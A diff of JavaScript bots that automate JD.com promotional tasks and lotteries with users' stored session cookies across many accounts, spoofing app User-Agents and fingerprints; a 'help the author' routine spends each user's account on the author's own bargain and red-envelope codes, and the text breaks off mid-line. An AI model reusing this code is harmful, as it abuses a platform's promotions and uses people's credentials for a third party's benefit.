+function smtg_upgradeShelf(shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_upgradeShelf', { shelfId }), (err, resp, data) => { + try { + // console.log(`升级货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + console.log(`升级货架结果\n${data}`) + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +//解锁货架 +function smtg_unlockShelf(shelfId) { + return new Promise((resolve) => { + console.log(`开始解锁货架`) + $.get(taskUrl('smtg_unlockShelf', { shelfId }), (err, resp, data) => { + try { + // console.log(`解锁货架shelfId[${shelfId}]结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_ground(productId, shelfId) { + return new Promise((resolve) => { + $.get(taskUrl('smtg_ground', { productId, shelfId }), (err, resp, data) => { + try { + // console.log(`上架商品结果:${data}`); + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_productList() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_productList'), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_lotteryIndex() { + return new Promise((resolve) => { + $.get(taskUrl('smtg_lotteryIndex', {"costType":1,"channel":1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function smtg_drawLottery() { + return new Promise(async (resolve) => { + await $.wait(1000); + $.get(taskUrl('smtg_drawLottery', {"costType":1,"channel":1}), (err, resp, data) => { + try { + if (err) { + console.log('\n东东超市: API查询请求失败 ‼️‼️') + console.log(JSON.stringify(err)); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function sortSyData(a, b) { + return a['upgradeCostGold'] - b['upgradeCostGold'] +} +function sortTotalPriceGold(a, b) { + return a['previewTotalPriceGold'] - b['previewTotalPriceGold'] +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(resolve => { + console.log(`第${$.index}个京东账号的助力码:::${jdSuperMarketShareArr[$.index - 1]}`) + if (jdSuperMarketShareArr[$.index - 1]) { + newShareCodes = jdSuperMarketShareArr[$.index - 1].split('@'); + } else { + console.log(`由于您未提供与京京东账号相对应的shareCode,下面助力将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + console.log(`格式化后第${$.index}个京东账号的助力码${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + // console.log('\n开始获取东东超市配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`); + // console.log(`东东超市已改版,目前暂不用助力, 故无助力码`) + // console.log(`\n东东超市商圈助力码::${JSON.stringify(jdSuperMarketShareArr)}`); + // console.log(`您提供了${jdSuperMarketShareArr.length}个账号的助力码\n`); + resolve() + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function getTeam() { + return new Promise(async resolve => { + $.getTeams = []; + $.get({url: `http://jd.turinglabs.net/api/v2/jd/supermarket/read/100000/`, timeout: 100000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} supermarket/read/ API请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.getTeams = data && data['data']; + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + await $.wait(10000); + resolve() + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?appid=jdsupermarket&functionId=${function_id}&clientVersion=8.0.0&client=m&body=${encodeURIComponent(JSON.stringify(body))}&t=${Date.now()}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + "Origin": "https://jdsupermarket.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-CN,zh-Hans;q=0.9", + "Referer": "https://jdsupermarket.jd.com/", + "Cookie": cookie + } + } +} +/** + * 生成随机数字 + * @param {number} min 最小值(包含) + * @param {number} max 最大值(不包含) + */ +function randomNumber(min = 0, max = 100) { + return Math.min(Math.floor(min + Math.random() * (max - min)), max); +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +//==========================以下是给作者助力 免费拿,省钱大赢家等活动====================== +async function helpAuthor() { + await barGain();//免费拿 + await bigWinner();//省钱大赢家 +} +async function barGain() { + let res = await getAuthorShareCode2('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/jd_barGain.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_barGain.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode2('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/jd_barGain.json') + } + $.inBargaining = [...(res && res['inBargaining'] || [])] + $.inBargaining = getRandomArrayElements($.inBargaining, $.inBargaining.length > 3 ? 6 : $.inBargaining.length); + for (let item of $.inBargaining) { + if (!item['activityId']) continue; + const options = { + url: `https://api.m.jd.com/client.action`, + headers: { + 'Host': 'api.m.jd.com', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Origin': 'https://h5.m.jd.com', + 'Accept-Encoding': 'gzip, deflate, br', + 'Cookie': cookie, + 'Connection': 'keep-alive', + 'Accept': 'application/json, text/plain, */*', + 'User-Agent': 'jdapp;iPhone;9.4.0;14.3;;network/wifi;ADID/;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone10,3;addressid/;supportBestPay/0;appBuild/167541;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': `https://h5.m.jd.com/babelDiy/Zeus/4ZK4ZpvoSreRB92RRo8bpJAQNoTq/index.html`, + 'Accept-Language': 'zh-cn', + }, + body: `functionId=cutPriceByUser&body={"activityId": ${item['activityId']},"userName":"","followShop":1,"shopId": ${item['shopId']},"userPic":""}&client=wh5&clientVersion=1.0.0` + }; + await $.post(options, (err, ersp, data) => {}) + } +} + +async function bigWinner() { + let res = await getAuthorShareCode2('https://raw.githubusercontent.com/Aaron-lv/updateTeam/master/shareCodes/bigWinner.json') + if (!res) { + $.http.get({url: 'https://purge.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/bigWinner.json'}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + await $.wait(1000) + res = await getAuthorShareCode2('https://cdn.jsdelivr.net/gh/Aaron-lv/updateTeam@master/shareCodes/bigWinner.json') + } + $.codeList = getRandomArrayElements([...(res || [])], [...(res || [])].length); + for (let vo of $.codeList) { + if (!vo['inviter']) continue + await _618(vo['redEnvelopeId'], vo['inviter'], '1'); + await _618(vo['redEnvelopeId'],vo['inviter'], '2') + } +} + +function _618(redEnvelopeId, inviter, helpType = '1', linkId = 'PFbUR7wtwUcQ860Sn8WRfw') { + return new Promise(resolve => { + $.get({ + url: `https://api.m.jd.com/?functionId=openRedEnvelopeInteract&body={%22linkId%22:%22${linkId}%22,%22redEnvelopeId%22:%22${redEnvelopeId}%22,%22inviter%22:%22${inviter}%22,%22helpType%22:%22${helpType}%22}&t=${+new Date()}&appid=activities_platform&clientVersion=3.5.0`, + headers: { + 'Host': 'api.m.jd.com', + 'accept': 'application/json, text/plain, */*', + 'origin': 'https://618redpacket.jd.com', + 'user-agent': 'jdltapp;iPhone;3.5.0;14.2;network/wifi;hasUPPay/0;pushNoticeIsOpen/0;lang/zh_CN;model/iPhone10,2;hasOCPay/0;appBuild/1066;supportBestPay/0;pv/7.0;apprpd/;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'accept-language': 'zh-cn', + 'referer': `https://618redpacket.jd.com/?activityId=${linkId}&redEnvelopeId=${redEnvelopeId}&inviterId=${inviter}&helpType=1&lng=&lat=&sid=`, + 'Cookie': cookie + } + }, (err, resp, data) => { + resolve() + }) + }) +} +function getAuthorShareCode2(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve(); + }) +} +function getRandomArrayElements(arr, count) { + let shuffled = arr.slice(0), i = arr.length, min = i - count, temp, index; + while (i-- > min) { + index = Math.floor((i + 1) * Math.random()); + temp = shuffled[index]; + shuffled[index] = shuffled[i]; + shuffled[i] = temp; + } + return shuffled.slice(min); +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_sxLottery.js b/jd_sxLottery.js new file mode 100644 index 0000000..19cb9d7 --- /dev/null +++ b/jd_sxLottery.js @@ -0,0 +1,416 @@ +/* +京东生鲜每日抽奖,可抽奖获得京豆, +活动入口:京东生鲜每日抽奖 +by:小手冰凉 +交流群:https://t.me/jdPLA2 +脚本更新时间:2021-12-31 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +[task_local] +#京东生鲜每日抽奖 +10 7 * * * jd jd_sxLottery.js, tag=京东生鲜每日抽奖, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jd_sxLottery.png, enabled=true + */ +const $ = new Env('京东生鲜每日抽奖'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +$.configCode = ""; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + await getCode(); //获取任务 + if ($.configCode) { + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdmodule(); + await showMsg(); + } + } + } else { + console.log('今天没有签到活动拉'); + } + +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + + +async function jdmodule() { + let runTime = 0; + do { + await getinfo(); //获取任务 + $.hasFinish = true; + await run(); + runTime++; + } while (!$.hasFinish && runTime < 6); + await getinfo(); + console.log("开始抽奖"); + for (let x = 0; x < $.chanceLeft; x++) { + await join(); + await $.wait(1500) + } +} + +//运行 +async function run() { + try { + for (let vo of $.taskinfo) { + if (vo.hasFinish === true) { + // console.log(`任务${vo.taskName},已完成`); + continue; + } + console.log(`开始做${vo.taskName}:${vo.taskItem.itemName}`); + if (vo.taskName == '每日签到') { + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + if (vo.taskType == 3) { + await getJump(vo.taskItem.itemLink); + await $.wait(1000 * vo.viewTime) + await doTask(vo.taskType, vo.taskItem.itemId, vo.id); + await getReward(vo.taskType, vo.taskItem.itemId, vo.id); + } + + $.hasFinish = false; + } + } catch (e) { + console.log(e); + } +} + + +// 获取任务 +function getCode() { + return new Promise(resolve => { + $.get({ + url: `https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html`, + headers: { + "Connection": "keep-alive", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", + 'User-Agent': 'JD4iPhone/167874 (iPhone; iOS 14.2; Scale/3.00)', + 'Cookie': cookie, + "Host": "prodev.m.jd.com", + "Referer": "", + "Accept-Language": "zh-Hans-CN;q=1, en-CN;q=0.9", + "Accept": "*/*" + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + $.configCode = resp.body.match(/"activityCode":"(.*?)"/)[1] + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} +// 获取任务 +function getinfo() { + return new Promise(resolve => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/get?configCode=${$.configCode}&unionCardCode=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getinfo请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + $.chanceLeft = data.data.chanceLeft; + if (data.success == true) { + $.taskinfo = data.data.taskConfig + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//抽奖 +function join() { + return new Promise(async (resolve) => { + $.get({ + url: `https://jdjoy.jd.com/module/task/draw/join?configCode=${$.configCode}&fp=${randomWord(false, 32, 32)}&eid=`, + headers: { + 'Host': 'jdjoy.jd.com', + 'accept': '*/*', + 'content-type': 'application/json', + "Referer": "https://prodev.m.jd.com/mall/active/2Rkjx8aT5eKaQnUzn8dwcR6jNanj/index.html", + "origin": "https://prodev.m.jd.com", + 'X-Requested-With': 'com.jingdong.app.mall', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'accept-language': 'zh-Hans-CN;q=1', + 'cookie': cookie + }, + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`join请求失败,请检查网路重试`) + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log(`抽奖结果:${data.data.rewardName}`); + } + else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }) + }) +} + +//做任务 +function doTask(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('doTask', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`doTask 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + + +//领取任务奖励 +function getReward(taskType, itemId, taskid) { + return new Promise(resolve => { + let options = taskPostUrl('getReward', `{"configCode":"${$.configCode}","taskType":${taskType},"itemId":"${itemId}","taskId":${taskid}}`) + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`); + console.log(`getReward 请求失败,请检查网路重试`); + } else { + data = JSON.parse(data); + if (data.success == true) { + console.log("任务奖励领取成功"); + } else { + console.log(data.errorMessage); + } + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(); + } + }); + }); +} + +function getJump(url2) { + return new Promise(resolve => { + $.get({ + url: url2, + headers: { + 'Host': 'pro.m.jd.com', + 'accept': '*/*', + 'content-type': 'application/x-www-form-urlencoded', + 'referer': '', + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 